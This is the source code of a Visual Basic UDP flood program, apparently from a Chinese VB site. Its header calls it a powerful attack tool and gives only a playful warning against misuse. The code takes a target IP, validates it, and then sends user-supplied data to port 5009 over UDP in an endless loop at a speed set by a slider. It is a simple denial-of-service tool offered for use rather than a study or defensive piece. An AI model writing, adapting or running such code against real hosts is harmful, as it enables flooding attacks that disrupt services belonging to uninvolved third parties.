vb udpflood.txt

UDP洪水攻击程序源码.威力很大.不要拿它来作坏噢

使用VB的winsock进行UDP攻击

程序提供－－http://www.dapha.net-VB程序太平洋

QQ:39688620


Dim Number As Integer

Sub Timeout(interval)
'按照指定时间暂停

    Dim Current
    
    Current = Timer
    Do While Timer - Current < Val(interval)
        DoEvents
    Loop
End Sub
Private Sub Command1_Click()

'避免出现IP错误,添加IP处理过程

For i = 1 To Len(Text1.Text) - 1

    If Mid(Text1.Text, i, 1) = "." Then

        Number = Number + 1


    End If

Next i

        If Number <> 3 Then

            Me.Caption = "IP出错"
            Exit Sub
        End If


Dim varparts As Variant

varparts = Split(Text1.Text, ".")

For i = 0 To 3
    If varparts(i) > 255 Or varparts(i) < 0 Then
        Me.Caption = "IP出错"
        Exit Sub
    End If

Next i


Me.Caption = "发送中"





'设定按钮
Command2.Enabled = True
Command1.Enabled = False
'设定winsock
Winsock1.LocalPort = 2043
Winsock1.RemoteHost = Text1
Winsock1.RemotePort = 5009
'设定循环
Do
DoEvents
'发送信息
Winsock1.SendData Text2
DoEvents
'查询速度
If Slider1.Value = 9 Then Timeout (0.1)
If Slider1.Value = 8 Then Timeout (0.2)
If Slider1.Value = 7 Then Timeout (0.3)
If Slider1.Value = 6 Then Timeout (0.4)
If Slider1.Value = 5 Then Timeout (0.5)
If Slider1.Value = 4 Then Timeout (0.6)
If Slider1.Value = 3 Then Timeout (0.7)
If Slider1.Value = 2 Then Timeout (0.8)
If Slider1.Value = 1 Then Timeout (0.9)
If Slider1.Value = 0 Then Timeout (1)
Loop While Command1.Enabled = False
'关闭winsock
Winsock1.Close
Command1.Enabled = True
Command2.Enabled = False
Exit Sub

End Sub

Private Sub Command2_Click()
Me.Caption = "停止"

Command2.Enabled = False
Command1.Enabled = True
End Sub

Private Sub Command3_Click()
Shell ("Explorer Http://www.dapha.net"), vbMaximizedFocus

End Sub

Private Sub Form_Load()
Me.Top = 1 / 2 * Screen.Height
Me.Left = 1 / 2 * Screen.Width


End Sub